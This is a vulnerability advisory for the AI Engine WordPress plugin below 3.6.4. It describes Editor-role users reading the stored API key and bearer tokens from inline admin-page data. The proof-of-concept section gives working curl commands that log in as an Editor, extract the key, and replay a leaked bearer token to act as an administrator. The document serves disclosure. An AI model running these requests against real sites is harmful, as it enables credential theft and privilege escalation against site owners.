AI Engine < 3.6.4 – Editor+ Sensitive Information Disclosure of API Key and Bearer Tokens | CVE 2026-16954

Description

The plugin does not redact secret configuration values before exposing them in an admin page's inline script data, allowing users with the Editor role to read the site's stored third-party API key and authentication tokens in cleartext, despite those secrets being restricted to administrators everywhere else.

Proof of Concept

Prerequisites: AI Engine active. The administrator has configured an OpenAI API key (true for any functional install). Optional, for the amplifier only: the administrator has enabled the public API and set a bearer token (both are non-default).

1. As the administrator, configure the secrets as normal via Settings > AI Engine (an OpenAI API key; optionally the public API bearer token). In a lab you can set a provable marker value, e.g. apiKey = WPSCAN-DEMO-KEY.

2. Log in as an Editor and save the cookie jar:

curl -sk -c jar \
  --data-urlencode 'log=EDITOR' --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'redirect_to=https://victim.example/wp-admin/' \
  --data-urlencode 'testcookie=1' \
  -H 'Cookie: wordpress_test_cookie=WP Cookie check' \
  https://victim.example/wp-login.php -o /dev/null

3. Fetch any wp-admin page as the Editor and read the inline configuration blob from the page source:

curl -sk -b jar https://victim.example/wp-admin/index.php | grep -o '"apiKey":"[^"]*"'
# Observed: "apiKey":"WPSCAN-DEMO-KEY"
# The public_api_bearer_token and mcp_bearer_token values are present in the same blob.

Negative control (the boundary is Editor+): repeating steps 2-3 as an Author or as a Subscriber returns zero secret markers. The configuration blob is not emitted for those roles.

Optional amplifier (only when the administrator enabled the public API and set a bearer token, both non-default): replay the leaked bearer with no cookie to run as the first administrator:

curl -sk -H 'Authorization: Bearer <leaked-bearer>' https://victim.example/wp-json/mwai/v1/simpleAuthCheck
# HTTP 200 returning the first administrator's email; a wrong or absent token returns HTTP 401.